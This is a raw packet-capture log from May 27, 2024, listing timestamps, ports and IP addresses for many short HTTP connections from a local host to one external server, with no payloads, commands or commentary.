May 27, 2024 02:57:35.553343058 CEST	49755	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:35.556015968 CEST	49755	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:35.605089903 CEST	80	49755	104.21.85.101	192.168.2.5
May 27, 2024 02:57:35.605241060 CEST	49755	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:35.616199970 CEST	80	49755	104.21.85.101	192.168.2.5
May 27, 2024 02:57:36.209853888 CEST	80	49755	104.21.85.101	192.168.2.5
May 27, 2024 02:57:36.210032940 CEST	49755	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:36.214441061 CEST	80	49755	104.21.85.101	192.168.2.5
May 27, 2024 02:57:36.214525938 CEST	49755	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:36.260771990 CEST	80	49755	104.21.85.101	192.168.2.5
May 27, 2024 02:57:36.365789890 CEST	49756	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:36.370959044 CEST	80	49756	104.21.85.101	192.168.2.5
May 27, 2024 02:57:36.371042967 CEST	49756	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:36.373420000 CEST	49756	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:36.424835920 CEST	80	49756	104.21.85.101	192.168.2.5
May 27, 2024 02:57:36.424917936 CEST	49756	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:36.438441992 CEST	80	49756	104.21.85.101	192.168.2.5
May 27, 2024 02:57:37.170723915 CEST	80	49756	104.21.85.101	192.168.2.5
May 27, 2024 02:57:37.170758963 CEST	80	49756	104.21.85.101	192.168.2.5
May 27, 2024 02:57:37.170967102 CEST	49756	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:37.170967102 CEST	49756	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:37.183821917 CEST	80	49756	104.21.85.101	192.168.2.5
May 27, 2024 02:57:37.183876991 CEST	49756	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:37.188714027 CEST	80	49756	104.21.85.101	192.168.2.5
May 27, 2024 02:57:37.333396912 CEST	49757	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:37.338757038 CEST	80	49757	104.21.85.101	192.168.2.5
May 27, 2024 02:57:37.338886976 CEST	49757	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:37.342737913 CEST	49757	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:37.392834902 CEST	80	49757	104.21.85.101	192.168.2.5
May 27, 2024 02:57:37.392899036 CEST	49757	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:37.397890091 CEST	80	49757	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.021918058 CEST	80	49757	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.022022963 CEST	49757	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:38.026649952 CEST	80	49757	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.026770115 CEST	49757	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:38.072767973 CEST	80	49757	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.191371918 CEST	49758	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:38.196502924 CEST	80	49758	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.196603060 CEST	49758	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:38.199507952 CEST	49758	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:38.248898029 CEST	80	49758	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.252654076 CEST	49758	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:38.257764101 CEST	80	49758	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.868324041 CEST	80	49758	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.868545055 CEST	49758	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:38.873121023 CEST	80	49758	104.21.85.101	192.168.2.5
May 27, 2024 02:57:38.873186111 CEST	49758	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:38.920955896 CEST	80	49758	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.019498110 CEST	49759	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.024667025 CEST	80	49759	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.026218891 CEST	49759	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.029386997 CEST	49759	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.076889992 CEST	80	49759	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.077013016 CEST	49759	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.082256079 CEST	80	49759	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.769953012 CEST	80	49759	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.770066977 CEST	49759	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.774736881 CEST	80	49759	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.774801970 CEST	49759	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.820557117 CEST	80	49759	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.935400963 CEST	49760	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.940821886 CEST	80	49760	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.941109896 CEST	49760	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.944130898 CEST	49760	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:39.999195099 CEST	80	49760	104.21.85.101	192.168.2.5
May 27, 2024 02:57:39.999458075 CEST	49760	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:40.004921913 CEST	80	49760	104.21.85.101	192.168.2.5
May 27, 2024 02:57:40.616909027 CEST	80	49760	104.21.85.101	192.168.2.5
May 27, 2024 02:57:40.617027998 CEST	49760	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:40.621669054 CEST	80	49760	104.21.85.101	192.168.2.5
May 27, 2024 02:57:40.621736050 CEST	49760	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:40.668539047 CEST	80	49760	104.21.85.101	192.168.2.5
May 27, 2024 02:57:41.129575014 CEST	49761	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:41.134767056 CEST	80	49761	104.21.85.101	192.168.2.5
May 27, 2024 02:57:41.134979010 CEST	49761	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:41.138153076 CEST	49761	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:41.189515114 CEST	80	49761	104.21.85.101	192.168.2.5
May 27, 2024 02:57:41.189774036 CEST	49761	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:41.194919109 CEST	80	49761	104.21.85.101	192.168.2.5
May 27, 2024 02:57:41.901529074 CEST	80	49761	104.21.85.101	192.168.2.5
May 27, 2024 02:57:41.906255960 CEST	80	49761	104.21.85.101	192.168.2.5
May 27, 2024 02:57:41.908729076 CEST	49761	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:42.572794914 CEST	49761	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:42.578082085 CEST	80	49761	104.21.85.101	192.168.2.5
May 27, 2024 02:57:42.859649897 CEST	49762	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:42.865010977 CEST	80	49762	104.21.85.101	192.168.2.5
May 27, 2024 02:57:42.865228891 CEST	49762	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:42.867142916 CEST	49762	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:42.916920900 CEST	80	49762	104.21.85.101	192.168.2.5
May 27, 2024 02:57:42.917149067 CEST	49762	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:42.922636032 CEST	80	49762	104.21.85.101	192.168.2.5
May 27, 2024 02:57:43.720607996 CEST	80	49762	104.21.85.101	192.168.2.5
May 27, 2024 02:57:43.720904112 CEST	49762	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:43.725265026 CEST	80	49762	104.21.85.101	192.168.2.5
May 27, 2024 02:57:43.725450039 CEST	49762	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:43.772809029 CEST	80	49762	104.21.85.101	192.168.2.5
May 27, 2024 02:57:43.874269009 CEST	49763	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:43.879530907 CEST	80	49763	104.21.85.101	192.168.2.5
May 27, 2024 02:57:43.879786968 CEST	49763	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:43.888979912 CEST	49763	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:43.936824083 CEST	80	49763	104.21.85.101	192.168.2.5
May 27, 2024 02:57:43.937016964 CEST	49763	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:43.942008972 CEST	80	49763	104.21.85.101	192.168.2.5
May 27, 2024 02:57:44.546736002 CEST	80	49763	104.21.85.101	192.168.2.5
May 27, 2024 02:57:44.546878099 CEST	49763	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:44.552895069 CEST	80	49763	104.21.85.101	192.168.2.5
May 27, 2024 02:57:44.552988052 CEST	49763	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:44.599670887 CEST	80	49763	104.21.85.101	192.168.2.5
May 27, 2024 02:57:44.705420971 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:44.710746050 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:44.710848093 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:44.712945938 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:44.764801979 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:44.765171051 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:44.770390034 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.118210077 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.118567944 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.119273901 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.119303942 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.119332075 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.119448900 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.119448900 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.119448900 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.124115944 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.124310970 CEST	49764	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.128870964 CEST	80	49764	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.282428980 CEST	49765	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.287571907 CEST	80	49765	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.287765026 CEST	49765	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.289680958 CEST	49765	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.344784021 CEST	80	49765	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.344846964 CEST	49765	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.349844933 CEST	80	49765	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.974343061 CEST	80	49765	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.974497080 CEST	49765	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:46.978792906 CEST	80	49765	104.21.85.101	192.168.2.5
May 27, 2024 02:57:46.978866100 CEST	49765	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:47.028625965 CEST	80	49765	104.21.85.101	192.168.2.5
May 27, 2024 02:57:47.140403986 CEST	49766	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:47.145591021 CEST	80	49766	104.21.85.101	192.168.2.5
May 27, 2024 02:57:47.145912886 CEST	49766	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:47.148785114 CEST	49766	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:47.190393925 CEST	80	49766	104.21.85.101	192.168.2.5
May 27, 2024 02:57:47.190504074 CEST	49766	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:47.251609087 CEST	80	49766	104.21.85.101	192.168.2.5
May 27, 2024 02:57:47.822921038 CEST	80	49766	104.21.85.101	192.168.2.5
May 27, 2024 02:57:47.823256969 CEST	49766	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:47.827460051 CEST	80	49766	104.21.85.101	192.168.2.5
May 27, 2024 02:57:47.827660084 CEST	49766	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:47.876694918 CEST	80	49766	104.21.85.101	192.168.2.5
May 27, 2024 02:57:47.995590925 CEST	49767	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.000873089 CEST	80	49767	104.21.85.101	192.168.2.5
May 27, 2024 02:57:48.001121998 CEST	49767	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.003345966 CEST	49767	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.052567005 CEST	80	49767	104.21.85.101	192.168.2.5
May 27, 2024 02:57:48.052622080 CEST	49767	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.057528019 CEST	80	49767	104.21.85.101	192.168.2.5
May 27, 2024 02:57:48.780354977 CEST	80	49767	104.21.85.101	192.168.2.5
May 27, 2024 02:57:48.780478001 CEST	49767	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.785029888 CEST	80	49767	104.21.85.101	192.168.2.5
May 27, 2024 02:57:48.785096884 CEST	49767	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.832859993 CEST	80	49767	104.21.85.101	192.168.2.5
May 27, 2024 02:57:48.933967113 CEST	49769	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.939270973 CEST	80	49769	104.21.85.101	192.168.2.5
May 27, 2024 02:57:48.939377069 CEST	49769	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.941539049 CEST	49769	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.992657900 CEST	80	49769	104.21.85.101	192.168.2.5
May 27, 2024 02:57:48.992826939 CEST	49769	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:48.997797966 CEST	80	49769	104.21.85.101	192.168.2.5
May 27, 2024 02:57:49.714660883 CEST	80	49769	104.21.85.101	192.168.2.5
May 27, 2024 02:57:49.715955019 CEST	49769	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:49.719228029 CEST	80	49769	104.21.85.101	192.168.2.5
May 27, 2024 02:57:49.719290972 CEST	49769	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:49.728744984 CEST	80	49769	104.21.85.101	192.168.2.5
May 27, 2024 02:57:49.892410994 CEST	49770	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:49.897715092 CEST	80	49770	104.21.85.101	192.168.2.5
May 27, 2024 02:57:49.897793055 CEST	49770	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:49.900695086 CEST	49770	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:49.948822021 CEST	80	49770	104.21.85.101	192.168.2.5
May 27, 2024 02:57:49.948944092 CEST	49770	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:49.953943968 CEST	80	49770	104.21.85.101	192.168.2.5
May 27, 2024 02:57:50.718691111 CEST	80	49770	104.21.85.101	192.168.2.5
May 27, 2024 02:57:50.718945980 CEST	49770	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:50.723433018 CEST	80	49770	104.21.85.101	192.168.2.5
May 27, 2024 02:57:50.723489046 CEST	49770	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:50.771409035 CEST	80	49770	104.21.85.101	192.168.2.5
May 27, 2024 02:57:50.870773077 CEST	49771	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:50.875785112 CEST	80	49771	104.21.85.101	192.168.2.5
May 27, 2024 02:57:50.875880003 CEST	49771	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:50.878813982 CEST	49771	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:50.928755999 CEST	80	49771	104.21.85.101	192.168.2.5
May 27, 2024 02:57:50.928930044 CEST	49771	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:50.933835030 CEST	80	49771	104.21.85.101	192.168.2.5
May 27, 2024 02:57:51.638334990 CEST	80	49771	104.21.85.101	192.168.2.5
May 27, 2024 02:57:51.638650894 CEST	49771	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:51.643038988 CEST	80	49771	104.21.85.101	192.168.2.5
May 27, 2024 02:57:51.643151999 CEST	49771	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:51.691386938 CEST	80	49771	104.21.85.101	192.168.2.5
May 27, 2024 02:57:51.811686039 CEST	49772	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.042690039 CEST	80	49772	104.21.85.101	192.168.2.5
May 27, 2024 02:57:52.042800903 CEST	49772	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.045782089 CEST	49772	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.052638054 CEST	80	49772	104.21.85.101	192.168.2.5
May 27, 2024 02:57:52.052719116 CEST	49772	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.057634115 CEST	80	49772	104.21.85.101	192.168.2.5
May 27, 2024 02:57:52.737632036 CEST	80	49772	104.21.85.101	192.168.2.5
May 27, 2024 02:57:52.737765074 CEST	49772	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.742366076 CEST	80	49772	104.21.85.101	192.168.2.5
May 27, 2024 02:57:52.742418051 CEST	49772	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.787327051 CEST	80	49772	104.21.85.101	192.168.2.5
May 27, 2024 02:57:52.936361074 CEST	49773	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.941406012 CEST	80	49773	104.21.85.101	192.168.2.5
May 27, 2024 02:57:52.941553116 CEST	49773	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.944506884 CEST	49773	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:52.991318941 CEST	80	49773	104.21.85.101	192.168.2.5
May 27, 2024 02:57:52.991462946 CEST	49773	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:53.044720888 CEST	80	49773	104.21.85.101	192.168.2.5
May 27, 2024 02:57:53.621182919 CEST	80	49773	104.21.85.101	192.168.2.5
May 27, 2024 02:57:53.621419907 CEST	49773	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:53.625725985 CEST	80	49773	104.21.85.101	192.168.2.5
May 27, 2024 02:57:53.625803947 CEST	49773	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:53.672660112 CEST	80	49773	104.21.85.101	192.168.2.5
May 27, 2024 02:57:53.786672115 CEST	49774	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:53.800630093 CEST	80	49774	104.21.85.101	192.168.2.5
May 27, 2024 02:57:53.800833941 CEST	49774	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:53.803472996 CEST	49774	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:53.852643013 CEST	80	49774	104.21.85.101	192.168.2.5
May 27, 2024 02:57:53.852787971 CEST	49774	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:53.857822895 CEST	80	49774	104.21.85.101	192.168.2.5
May 27, 2024 02:57:54.612775087 CEST	80	49774	104.21.85.101	192.168.2.5
May 27, 2024 02:57:54.613096952 CEST	49774	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:54.617502928 CEST	80	49774	104.21.85.101	192.168.2.5
May 27, 2024 02:57:54.617584944 CEST	49774	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:54.664438963 CEST	80	49774	104.21.85.101	192.168.2.5
May 27, 2024 02:57:54.762588978 CEST	49775	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:54.767791986 CEST	80	49775	104.21.85.101	192.168.2.5
May 27, 2024 02:57:54.767873049 CEST	49775	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:54.770133972 CEST	49775	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:54.820533037 CEST	80	49775	104.21.85.101	192.168.2.5
May 27, 2024 02:57:54.820686102 CEST	49775	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:54.825591087 CEST	80	49775	104.21.85.101	192.168.2.5
May 27, 2024 02:57:55.466506004 CEST	80	49775	104.21.85.101	192.168.2.5
May 27, 2024 02:57:55.466617107 CEST	49775	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:55.471187115 CEST	80	49775	104.21.85.101	192.168.2.5
May 27, 2024 02:57:55.471251965 CEST	49775	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:55.516726971 CEST	80	49775	104.21.85.101	192.168.2.5
May 27, 2024 02:57:55.628468990 CEST	49776	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:55.633508921 CEST	80	49776	104.21.85.101	192.168.2.5
May 27, 2024 02:57:55.633619070 CEST	49776	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:55.635318995 CEST	49776	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:55.684775114 CEST	80	49776	104.21.85.101	192.168.2.5
May 27, 2024 02:57:55.684921026 CEST	49776	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:55.689863920 CEST	80	49776	104.21.85.101	192.168.2.5
May 27, 2024 02:57:56.310836077 CEST	80	49776	104.21.85.101	192.168.2.5
May 27, 2024 02:57:56.310993910 CEST	49776	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:56.315583944 CEST	80	49776	104.21.85.101	192.168.2.5
May 27, 2024 02:57:56.315663099 CEST	49776	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:56.364403009 CEST	80	49776	104.21.85.101	192.168.2.5
May 27, 2024 02:57:56.476814985 CEST	49777	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:56.481878996 CEST	80	49777	104.21.85.101	192.168.2.5
May 27, 2024 02:57:56.481956959 CEST	49777	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:56.483967066 CEST	49777	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:56.532608986 CEST	80	49777	104.21.85.101	192.168.2.5
May 27, 2024 02:57:56.532691956 CEST	49777	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:56.537600040 CEST	80	49777	104.21.85.101	192.168.2.5
May 27, 2024 02:57:57.280860901 CEST	80	49777	104.21.85.101	192.168.2.5
May 27, 2024 02:57:57.281090021 CEST	49777	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:57.285531044 CEST	80	49777	104.21.85.101	192.168.2.5
May 27, 2024 02:57:57.285604954 CEST	49777	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:57.332592964 CEST	80	49777	104.21.85.101	192.168.2.5
May 27, 2024 02:57:57.439784050 CEST	49778	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:57.444885015 CEST	80	49778	104.21.85.101	192.168.2.5
May 27, 2024 02:57:57.445034981 CEST	49778	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:57.446785927 CEST	49778	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:57.496566057 CEST	80	49778	104.21.85.101	192.168.2.5
May 27, 2024 02:57:57.496686935 CEST	49778	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:57.501710892 CEST	80	49778	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.121378899 CEST	80	49778	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.121532917 CEST	49778	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:58.126049042 CEST	80	49778	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.126102924 CEST	49778	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:58.173788071 CEST	80	49778	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.289558887 CEST	49779	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:58.294605017 CEST	80	49779	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.294722080 CEST	49779	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:58.296638966 CEST	49779	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:58.348681927 CEST	80	49779	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.348908901 CEST	49779	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:58.353836060 CEST	80	49779	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.971550941 CEST	80	49779	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.971577883 CEST	80	49779	104.21.85.101	192.168.2.5
May 27, 2024 02:57:58.971695900 CEST	49779	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:58.971998930 CEST	49779	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.024560928 CEST	80	49779	104.21.85.101	192.168.2.5
May 27, 2024 02:57:59.120295048 CEST	49780	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.125499964 CEST	80	49780	104.21.85.101	192.168.2.5
May 27, 2024 02:57:59.125670910 CEST	49780	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.127367020 CEST	49780	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.176670074 CEST	80	49780	104.21.85.101	192.168.2.5
May 27, 2024 02:57:59.176888943 CEST	49780	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.181849957 CEST	80	49780	104.21.85.101	192.168.2.5
May 27, 2024 02:57:59.828756094 CEST	80	49780	104.21.85.101	192.168.2.5
May 27, 2024 02:57:59.828974962 CEST	49780	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.833429098 CEST	80	49780	104.21.85.101	192.168.2.5
May 27, 2024 02:57:59.833501101 CEST	49780	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.880527973 CEST	80	49780	104.21.85.101	192.168.2.5
May 27, 2024 02:57:59.986643076 CEST	49781	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.991846085 CEST	80	49781	104.21.85.101	192.168.2.5
May 27, 2024 02:57:59.991951942 CEST	49781	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:59.993911028 CEST	49781	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:00.044550896 CEST	80	49781	104.21.85.101	192.168.2.5
May 27, 2024 02:58:00.044909000 CEST	49781	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:00.049941063 CEST	80	49781	104.21.85.101	192.168.2.5
May 27, 2024 02:58:00.686615944 CEST	80	49781	104.21.85.101	192.168.2.5
May 27, 2024 02:58:00.686764956 CEST	49781	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:00.691226959 CEST	80	49781	104.21.85.101	192.168.2.5
May 27, 2024 02:58:00.691301107 CEST	49781	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:00.739542961 CEST	80	49781	104.21.85.101	192.168.2.5
May 27, 2024 02:58:00.840040922 CEST	49782	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:00.845246077 CEST	80	49782	104.21.85.101	192.168.2.5
May 27, 2024 02:58:00.845357895 CEST	49782	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:00.847332001 CEST	49782	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:00.896826982 CEST	80	49782	104.21.85.101	192.168.2.5
May 27, 2024 02:58:00.896893978 CEST	49782	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:00.901844025 CEST	80	49782	104.21.85.101	192.168.2.5
May 27, 2024 02:58:01.520950079 CEST	80	49782	104.21.85.101	192.168.2.5
May 27, 2024 02:58:01.521094084 CEST	49782	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:01.525610924 CEST	80	49782	104.21.85.101	192.168.2.5
May 27, 2024 02:58:01.525671005 CEST	49782	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:01.575385094 CEST	80	49782	104.21.85.101	192.168.2.5
May 27, 2024 02:58:01.673562050 CEST	49783	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:01.716034889 CEST	80	49783	104.21.85.101	192.168.2.5
May 27, 2024 02:58:01.716147900 CEST	49783	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:01.718197107 CEST	49783	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:01.951544046 CEST	80	49783	104.21.85.101	192.168.2.5
May 27, 2024 02:58:01.951710939 CEST	49783	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:02.007471085 CEST	80	49783	104.21.85.101	192.168.2.5
May 27, 2024 02:58:02.642004967 CEST	80	49783	104.21.85.101	192.168.2.5
May 27, 2024 02:58:02.642319918 CEST	49783	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:02.647181988 CEST	80	49783	104.21.85.101	192.168.2.5
May 27, 2024 02:58:02.647280931 CEST	49783	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:02.652147055 CEST	80	49783	104.21.85.101	192.168.2.5
May 27, 2024 02:58:02.815197945 CEST	49784	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:02.820447922 CEST	80	49784	104.21.85.101	192.168.2.5
May 27, 2024 02:58:02.820544004 CEST	49784	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:02.822734118 CEST	49784	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:02.872524023 CEST	80	49784	104.21.85.101	192.168.2.5
May 27, 2024 02:58:02.872600079 CEST	49784	80	192.168.2.5	104.21.85.101
